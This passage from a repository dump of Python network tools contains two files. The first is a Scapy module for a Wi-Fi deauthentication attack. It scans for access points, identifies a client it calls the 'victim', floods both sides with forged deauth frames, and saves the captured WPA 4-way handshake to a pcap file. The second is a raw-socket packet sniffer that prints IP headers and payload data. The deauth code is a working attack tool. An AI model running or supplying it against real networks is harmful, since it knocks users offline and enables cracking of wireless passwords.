ssid_null_len != 0 and int(cipher) == 4 and key_type == 2: 91 | SSIDS[ssid_decode] = addr2 92 | 93 | def __filter_deauth(pkt): 94 | """ 95 | Packet processing function that looks for a 4-way handshake (4 EAPOL 96 | messages) 97 | """ 98 | global HANDSHAKE_COUNTER 99 | global HANDSHAKE_COUNTER 100 | 101 | if pkt.haslayer(EAPOL_KEY) and HANDSHAKE_COUNTER != HANDSHAKE_TARGET_NUM: 102 | HANDSHAKE_COUNTER += 1 103 | print_debug(msg='Got EAPOL frame', enabled=DEBUG) 104 | print_debug(msg=pkt.summary(), enabled=DEBUG) 105 | wrpcap(PCAP_FILE, pkt, append=True) 106 | 107 | def __inject_deauth_pkt(ap_addr: str, 108 | sta_addr: str, 109 | interface: str) -> bool: 110 | """ 111 | Performs the actual deauth packet injection to the target STA and AP 112 | """ 113 | print_info(f"Injecting deauth packets for {ap_addr} and {sta_addr} ...") 114 | 115 | t = AsyncSniffer(prn=__filter_deauth, iface=interface) 116 | t.start() 117 | 118 | deauth_pkt1 = RadioTap() / Dot11() / Dot11Deauth() 119 | deauth_pkt1[Dot11].addr1 = ap_addr 120 | deauth_pkt1[Dot11].addr2 = sta_addr 121 | deauth_pkt1[Dot11].addr3 = sta_addr 122 | deauth_pkt1[Dot11Deauth].reason = 7 123 | 124 | deauth_pkt2 = RadioTap() / Dot11() / Dot11Deauth() 125 | deauth_pkt2[Dot11].addr1 = sta_addr 126 | deauth_pkt2[Dot11].addr2 = ap_addr 127 | deauth_pkt2[Dot11].addr3 = ap_addr 128 | deauth_pkt2[Dot11Deauth].reason = 7 129 | 130 | while HANDSHAKE_COUNTER != HANDSHAKE_TARGET_NUM: 131 | sendp(deauth_pkt1, iface=interface) 132 | sendp(deauth_pkt2, iface=interface) 133 | time.sleep(1) 134 | 135 | t.stop() 136 | print_info('Got 4-way handshake, stopped the packet injection and sniffing ...') 137 | return True 138 | 139 | def deauth(ssid: str, 140 | interface: str, 141 | async_buffer_time: int, 142 | pcap_file: str, 143 | debug: bool) -> bool: 144 | """ 145 | Main wrapper function for facilitating the deauthentication attack 146 | """ 147 | global PCAP_FILE 148 | global DEBUG 149 | 150 | PCAP_FILE = pcap_file 151 | DEBUG = debug 152 | handshake_found = False 153 | 154 | # Make sure we remove this before start of attack so previous results will 155 | # not combine on the current capture. 156 | try: 157 | os.remove(pcap_file) 158 | except FileNotFoundError: 159 | pass 160 | 161 | addr_sta = '' 162 | addr_ssid = '' 163 | 164 | sniff_ccmp = AsyncSniffer(stop_filter=lambda x: x.haslayer(Dot11CCMP), iface=interface) 165 | sniff_ccmp.start() 166 | 167 | # Make sure we have a packet list to work on 168 | while sniff_ccmp.count == 0 or not sniff_ccmp.results: 169 | __progress(f'Waiting for AsyncSniffer() to buffer the results', async_buffer_time) 170 | 171 | for pkt in list(sniff_ccmp.results): 172 | addr1 = pkt[0].addr1 173 | addr2 = pkt[0].addr2 174 | addr3 = pkt[0].addr3 175 | addrs = set([addr1, addr2, addr3]) 176 | addr_ssid = SSIDS[ssid] 177 | 178 | if addr_ssid in addrs and 'ff:ff:ff:ff:ff:ff' not in addrs: 179 | if len(addrs) != 2: 180 | print_debug(msg=pkt.show(), enabled=DEBUG) 181 | print_err(f'Malformed packet. There are 3 mac address found, should only found AP and STA mac address: {addr1} | {addr2} | {addr3}. Retry the attack.') 182 | else: 183 | addrs_ssid = {addr_ssid} 184 | # Tested on 28:6C:07:6F:F9:44 185 | addr_sta = list(addrs.difference(addrs_ssid))[0] 186 | print_info(f'Found target STA (victim) addr: {addr_sta}') 187 | break 188 | 189 | if addr_sta == '': 190 | print_err('Unable to find a target STA address, try increasing the AsyncSniffer() buffer time (--async-buffer-time).') 191 | 192 | handshake_found = __inject_deauth_pkt(sta_addr=addr_sta, 193 | ap_addr=addr_ssid, 194 | interface=interface) 195 | return handshake_found 196 | 197 | def get_ssid(interface: str, 198 | scan_time: int) -> str: 199 | """ 200 | Scans the network for SSIDs and returns the one chosen by the user. 201 | """ 202 | ssid = '' 203 | 204 | ch = Process(target=__channel_changer, args=[interface,]) 205 | ch.start() 206 | 207 | scan = AsyncSniffer(prn=__find_ssids, iface=interface) 208 | scan.start() 209 | 210 | __progress('Scanning for APs', scan_time) 211 | 212 | scan.stop() 213 | ch.terminate() 214 | 215 | ssid = __select_ssid() 216 | 217 | print_info(f'Program will find clients connecting to {ssid} ({SSIDS[ssid]})') 218 | 219 | return ssid 220 | -------------------------------------------------------------------------------- /python-sniffer/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ipaddress 4 | import socket 5 | import struct 6 | import sys 7 | import argparse 8 | 9 | parser = argparse.ArgumentParser(description='Network packet sniffer') 10 | parser.add_argument('--ip', help='IP address to sniff on', required=True) 11 | parser.add_argument('--proto', help='Protocol to sniff (icmp/tcp/udp)', 12 | required=True) 13 | parser.add_argument('--raw', help='More output', action='store_true') 14 | parser.add_argument('--data', help='Display data', action='store_true') 15 | parser.add_argument('--excludeip', help='Exclude packet going to/originating from this IP') 16 | opts = parser.parse_args() 17 | 18 | class Packet: 19 | def __init__(self, data): 20 | """ 21 | Extracts IP header fields except the options field. Only the first 20 22 | bytes is processed since it is the size of standard IP header. 23 | """ 24 | self.packet = data 25 | header = struct.unpack('> 4 # Gets the 1st nibble 27 | self.ihl = header[0] & 0xF # Gets the 2nd nibble 28 | self.tos = header[1] 29 | self.len = header[2] 30 | self.id = header[3] 31 | self.off = header[4] 32 | self.ttl = header[5] 33 | self.pro = header[6] 34 | self.sum = header[7] 35 | self.src = header[8] 36 | self.dst = header[9] 37 | 38 | # The resulting SRC and DST ipaddress are not in decimal dotted 39 | # noation (ie 17216177132), so we need to convert it (ie 172.16.177.132) 40 | self.src_addr = ipaddress.ip_address(self.src) 41 | self.dst_addr = ipaddress.ip_address(self.dst) 42 | 43 | # You can see full list of protocol numbers here: 44 | # https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers 45 | self.protocol_map = { 46 | 0: "HOPOPT", 47 | 1: "ICMP", 48 | 2: "IGMP", 49 | 3: "GGP", 50 | 4: "IP-in-IP", 51 | 5: "ST", 52 | 6: "TCP", 53 | 7: "CBT", 54 | 8: "EGP", 55 | 9: "IGP", 56 | 10: "BBN-RCC-MON", 57 | 11: "NVP-II", 58 | 12: "PUP", 59 | 13: "ARGUS", 60 | 14: "EMCON", 61 | 15: "XNET", 62 | 16: "CHAOS", 63 | 17: "UDP", 64 | 18: "MUX", 65 | 19: "DCN-MEAS", 66 | 20: "HMP", 67 | 21: "PRM", 68 | 22: "XNS-IDP", 69 | 23: "TRUNK-1", 70 | 24: "TRUNK-2", 71 | 25: "LEAF-1", 72 | 26: "LEAF-2", 73 | 27: "RDP", 74 | 28: "IRTP", 75 | 29: "ISO-TP4", 76 | 30: "NETBLT", 77 | 31: "MFE-NSP", 78 | 32: "MERIT-INP", 79 | 33: "DCCP", 80 | 34: "3PC", 81 | 35: "IDPR", 82 | 36: "XTP", 83 | 37: "DDP", 84 | 38: "IDPR-CMTP", 85 | 39: "TP++", 86 | 40: "IL", 87 | 41: "IPv6", 88 | 42: "SDRP", 89 | 43: "IPv6-Route", 90 | 44: "IPv6-Frag", 91 | 45: "IDRP", 92 | 46: "RSVP", 93 | 47: "GRE", 94 | 48: "DSR", 95 | 49: "BNA", 96 | 50: "ESP", 97 | 51: "AH", 98 | 52: "I-NLSP", 99 | 53: "SwIPe", 100 | 54: "NARP", 101 | 55: "MOBILE", 102 | 56: "TLSP", 103 | 57: "SKIP", 104 | 58: "IPv6-ICMP", 105 | 59: "IPv6-NoNxt", 106 | 60: "IPv6-Opts", 107 | 61: "Host Internal Protocol(Any)", 108 | 62: "CFTP", 109 | 63: "Any Local Network", 110 | 64: "SAT-EXPAK", 111 | 65: "KRYPTOLAN", 112 | 66: "RVD", 113 | 67: "IPPC", 114 | 68: "Any distributed file system", 115 | 69: "SAT-MON", 116 | 70: "VISA", 117 | 71: "IPCU", 118 | 72: "CPNX", 119 | 73: "CPHB", 120 | 74: "WSN", 121 | 75: "PVP", 122 | 76: "BR-SAT-MON", 123 | 77: "SUN-ND", 124 | 78: "WB-MON", 125 | 79: "WB-EXPAK", 126 | 80: "ISO-IP", 127 | 81: "VMTP", 128 | 82: "SECURE-VMTP", 129 | 83: "VINES", 130 | 84: "TTP", 131 | 84: "IPTM", 132 | 85: "NSFNET-IGP", 133 | 86: "DGP", 134 | 87: "TCF", 135 | 88: "EIGRP", 136 | 89: "OSPF", 137 | 90: "Sprite-RPC", 138 | 91: "LARP", 139 | 92: "MTP", 140 | 93: "AX.25", 141 | 94: "OS", 142 | 95: "MICP", 143 | 96: "SCC-SP", 144 | 97: "ETHERIP", 145 | 98: "ENCAP", 146 | 99: "Any Private Encryption Scheme", 147 | 100: "GMTP", 148 | 101: "IFMP", 149 | 102: "PNNI", 150 | 103: "PIM", 151 | 104: "ARIS", 152 | 105: "SCPS", 153 | 106: "QNX", 154 | 107: "A/N", 155 | 108: "IPComp", 156 | 109: "SNP", 157 | 110: "Compaq-Peer", 158 | 111: "IPX-in-IP", 159 | 112: "VRRP", 160 | 113: "PGM", 161 | 114: "Any 0-hop protocol", 162 | 115: "L2TP", 163 | 116: "DDX", 164 | 117: "IATP", 165 | 118: "STP", 166 | 119: "SRP", 167 | 120: "UTI", 168 | 121: "SMP", 169 | 122: "SM", 170 | 123: "PTP", 171 | 124: "IS-IS over IPv4", 172 | 125: "FIRE", 173 | 126: "CRTP", 174 | 127: "CRUDP", 175 | 128: "SSCOPMCE", 176 | 129: "IPLT", 177 | 130: "SPS", 178 | 131: "PIPE", 179 | 132: "SCTP", 180 | 133: "FC", 181 | 134: "RSVP-E2E-IGNORE", 182 | 135: "Mobility Header", 183 | 136: "UDPLite", 184 | 137: "MPLS-in-IP", 185 | 138: "manet", 186 | 139: "HIP", 187 | 140: "Shim6", 188 | 141: "WESP", 189 | 142: "ROHC", 190 | 143: "Ethernet", 191 | 144: "AGGFRAG", 192 | 145: "NSH" 193 | } 194 | 195 | try: 196 | self.protocol = self.protocol_map[self.pro] 197 | except Exception as e: 198 | print(f'{e} No protocol for {self.pro}') 199 | self.protocol = str(self.pro) 200 | 201 | def print_header_short(self): 202 | """ 203 | Prints only important information from IP header such as protocol, src 204 | IP address and dst IP addresss. 205 | """ 206 | print(f'Protocol: {self.protocol} {self.src_addr} -> {self.dst_addr}') 207 | 208 | def print_raw_packet(self): 209 | """ 210 | Prints unfiltered raw data. 211 | """ 212 | print(f'Raw data: {self.packet}') 213 | 214 | def print_data(self): 215 | """ 216 | Displays packet data in human readable format 217 | """ 218 | # IP header is the first 20 bytes. Anything beyond that should be the 219 | # packet data so let's get it. 220 | data = self.packet[20:] 221 | print('*'*10 + 'ASCII START' + '*'*10) 222 | for b in data: 223 | if b < 128: 224 | print(chr(b), end='') 225 | else: 226 | print('.', end='') 227 | print('\n' + '*'*10 + 'ASCII END' + '*'*10) 228 | 229 | def sniff(host): 230 | if opts.proto == 'tcp': 231 | socket_protocol = socket.IPPROTO_TCP 232 | elif opts.proto == 'udp': 233 | socket_protocol = socket.IPPROTO_UDP 234 | else: 235 | socket_protocol = socket.IPPROTO_ICMP 236 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, 237 | socket_protocol) 238 | sniffer.bind((host, 0)) 239 | # Let's include the iP header headers 240 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 241 | 242 | try: 243 | while True: 244 | raw_data = sniffer.recv(65535) 245 | packet = Packet(raw_data) 246 | if opts.excludeip and (str(packet.src_addr) == opts.excludeip 247 | or str(packet.dst_addr) == opts.excludeip): 248 | continue 249 | packet.print_header_short() 250 | if opts.raw: 251 | packet.print_raw_packet() 252 | if opts.data: 253 | packet.print_data() 254 | except KeyboardInterrupt: 255 | sys.exit(1) 256 | 257 | if __name__ == '__main__': 258 | sniff(opts.ip) 259 | --------------------------------------------------------------------------------